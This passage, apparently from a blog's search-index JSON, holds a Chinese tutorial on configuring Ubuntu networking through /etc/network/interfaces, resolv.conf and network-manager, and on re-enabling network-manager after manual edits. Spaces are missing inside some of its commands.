#希望修改成的DNS (3) UbuntuServer 最后一步，也是最重要的一步 在rc.local里加入这个重启网络配置的命令： sudo/etc/init.d/networking restart 【Desktop版本】 在Desktop版本中，除了可以修改/etc/network/interfaces来进行配置以外；还可以直接在network-manager中配置。通过 interfaces修改的方法参照Server版本。network-manager的配置和直观，按照提示一步一步操作即可，有兴趣的朋友，可以自行Google或者Baidu。 但如果修改了interfaces，又配置了network-manager（以下简称nm），你就会发现出现了一些莫名其妙的问题： 1，interfaces和 nm中的网络设置不一样，系统实际的IP是哪个？ 2，有时候莫名其妙的，界面右上角的网络连接图标就丢失了。 3，明明在nm中配置了正确的网络设置，为什么就上不了网呢？ 其实，我们要知道 interfaces和 nm之间的关系，这些问题就不难解释了。 首先，当系统内没有第三方网络管理工具（比如nm）时，系统默认使用interfaces文件内的参数进行网络配置。（就像Server版本一样） 接着，当系统内安装了 nm之后，nm默认接管了系统的网络配置，使用nm 自己的网络配置参数来进行配置。 但是，如果用户在安装nm之后（Desktop版本默认安装了nm），自己手动修改了interfaces 文件，那nm 就自动停止对系统网络的管理，系统改使用interfaces 文件内的参数进行网络配置。 此时，再去修改nm 内的参数，不影响系统实际的网络配置。若要让nm 内的配置生效，必须重新启用nm 接管系统的网络配置。 现在知道了两者之间的工作关系，再看上面的三个问题： 1，要看nm是否接管，如果没有接管，系统实际的IP设置以interfaces 中的为准。反之，以nm 中的为准。 2，当nm 停止接管的时候，网络连接图标就丢失了。 3，同样是接管的问题。 如果用户希望在Desktop版本中，直接使用interfaces 进行网络配置，那最好删除network-manager 。 如果在出现上述问题之后，希望能继续使用nm 来进行网络配置，则需要进行如下操作： sudo servicenetwork-manager stop # 停止 nm服务 sudo rm/var/lib/NetworkManager/NetworkManager.state # 移除nm 的状态文件 sudo gedit/etc/NetworkManager/nm-system-settings.conf # 打开nm 的配置文件 ##里面有一行：managed=true ## 如果你手工改过/etc/network/interfaces，nm会自己把这行改成：managed=false ## 将false 修改成true sudo servicenetwork-manager start\n","permalink":"https://www.lucien116.com/archives/70/","summary":"\u003ch2 id=\"server版本\"\u003e\u003cstrong\u003e【Server版本】\u003c/strong\u003e\u003c/h2\u003e\n\u003cp\u003e\u003cstrong\u003e在UbuntuServer版本中，因为只存有命令行模式，所以要想进行网络参数设置，只能通过修改/etc/network/interfaces。具体设置方法如下：\u003c/strong\u003e \u003cstrong\u003e(1) UbuntuServer 修改 IP地址\u003c/strong\u003e \u003cstrong\u003e打开/etc/network/interfaces\u003c/strong\u003e \u003cstrong\u003esudo vim/etc/network/interfaces\u003c/strong\u003e \u003cstrong\u003e加入以下语句：\u003c/strong\u003e \u003cstrong\u003eauto eth0\u003c/strong\u003e \u003cstrong\u003eiface eth0inet static\u003c/strong\u003e \u003cstrong\u003eaddressxxx.xxx.xxx.xxx #IP地址\u003c/strong\u003e \u003cstrong\u003enetmaskxxx.xxx.xxx.xxx #子网掩码\u003c/strong\u003e \u003cstrong\u003egatewayxxx.xxx.xxx.xxx #网关\u003c/strong\u003e \u003cstrong\u003e(2) UbuntuServer 修改 DNS\u003c/strong\u003e \u003cstrong\u003e打开/etc/resolv.conf\u003c/strong\u003e \u003cstrong\u003esudo vim/etc/resolv.conf\u003c/strong\u003e \u003cstrong\u003e改为如下内容：\u003c/strong\u003e \u003cstrong\u003esearchlocaldomain #如果本Server为DNS服务器，可以加上这一句，如果不是，可以不加\u003c/strong\u003e \u003cstrong\u003enameserver172.16.3.4 #希望修改成的DNS\u003c/strong\u003e \u003cstrong\u003enameserver172.16.3.3 #希望修改成的DNS\u003c/strong\u003e \u003cstrong\u003e(3) UbuntuServer 最后一步，也是最重要的一步\u003c/strong\u003e \u003cstrong\u003e在rc.local里加入这个重启网络配置的命令：\u003c/strong\u003e \u003cstrong\u003esudo/etc/init.d/networking restart\u003c/strong\u003e \u003cstrong\u003e【Desktop版本】\u003c/strong\u003e \u003cstrong\u003e在Desktop版本中，除了可以修改/etc/network/interfaces来进行配置以外；还可以直接在network-manager中配置。通过 interfaces修改的方法参照Server版本。network-manager的配置和直观，按照提示一步一步操作即可，有兴趣的朋友，可以自行Google或者Baidu。\u003c/strong\u003e \u003cstrong\u003e但如果修改了interfaces，又配置了network-manager（以下简称nm），你就会发现出现了一些莫名其妙的问题：\u003c/strong\u003e \u003cstrong\u003e1，interfaces和 nm中的网络设置不一样，系统实际的IP是哪个？\u003c/strong\u003e \u003cstrong\u003e2，有时候莫名其妙的，界面右上角的网络连接图标就丢失了。\u003c/strong\u003e \u003cstrong\u003e3，明明在nm中配置了正确的网络设置，为什么就上不了网呢？\u003c/strong\u003e \u003cstrong\u003e其实，我们要知道 interfaces和 nm之间的关系，这些问题就不难解释了。\u003c/strong\u003e \u003cstrong\u003e首先，当系统内没有第三方网络管理工具（比如nm）时，系统默认使用interfaces文件内的参数进行网络配置。（就像Server版本一样）\u003c/strong\u003e \u003cstrong\u003e接着，当系统内安装了 nm之后，nm默认接管了系统的网络配置，使用nm 自己的网络配置参数来进行配置。\u003c/strong\u003e \u003cstrong\u003e但是，如果用户在安装nm之后（Desktop版本默认安装了nm），自己手动修改了interfaces 文件，那nm 就自动停止对系统网络的管理，系统改使用interfaces 文件内的参数进行网络配置。\u003c/strong\u003e \u003cstrong\u003e此时，再去修改nm 内的参数，不影响系统实际的网络配置。若要让nm 内的配置生效，必须重新启用nm 接管系统的网络配置。\u003c/strong\u003e \u003cstrong\u003e现在知道了两者之间的工作关系，再看上面的三个问题：\u003c/strong\u003e \u003cstrong\u003e1，要看nm是否接管，如果没有接管，系统实际的IP设置以interfaces 中的为准。反之，以nm 中的为准。\u003c/strong\u003e \u003cstrong\u003e2，当nm 停止接管的时候，网络连接图标就丢失了。\u003c/strong\u003e \u003cstrong\u003e3，同样是接管的问题。\u003c/strong\u003e \u003cstrong\u003e如果用户希望在Desktop版本中，直接使用interfaces 进行网络配置，那最好删除network-manager 。\u003c/strong\u003e \u003cstrong\u003e如果在出现上述问题之后，希望能继续使用nm 来进行网络配置，则需要进行如下操作：\u003c/strong\u003e \u003cstrong\u003esudo servicenetwork-manager stop # 停止 nm服务\u003c/strong\u003e \u003cstrong\u003esudo rm/var/lib/NetworkManager/NetworkManager.state # 移除nm 的状态文件\u003c/strong\u003e \u003cstrong\u003esudo gedit/etc/NetworkManager/nm-system-settings.conf # 打开nm 的配置文件\u003c/strong\u003e \u003cstrong\u003e##里面有一行：managed=true\u003c/strong\u003e \u003cstrong\u003e## 如果你手工改过/etc/network/interfaces，nm会自己把这行改成：managed=false\u003c/strong\u003e \u003cstrong\u003e## 将false 修改成true\u003c/strong\u003e \u003cstrong\u003esudo servicenetwork-manager start\u003c/strong\u003e\u003c/p\u003e","title":"Ubuntu中启用关闭Network-manager网络设置问题"},{"content":"欢迎来到 Lucien\u0026rsquo;s Blog。\n很高兴遇见你！\n","permalink":"https://www.lucien116.com/about/","summary":"\u003cp\u003e欢迎来到 Lucien\u0026rsquo;s Blog。\u003c/p\u003e\n\u003cp\u003e很高兴遇见你！\u003c/p\u003e","title":"关于"}]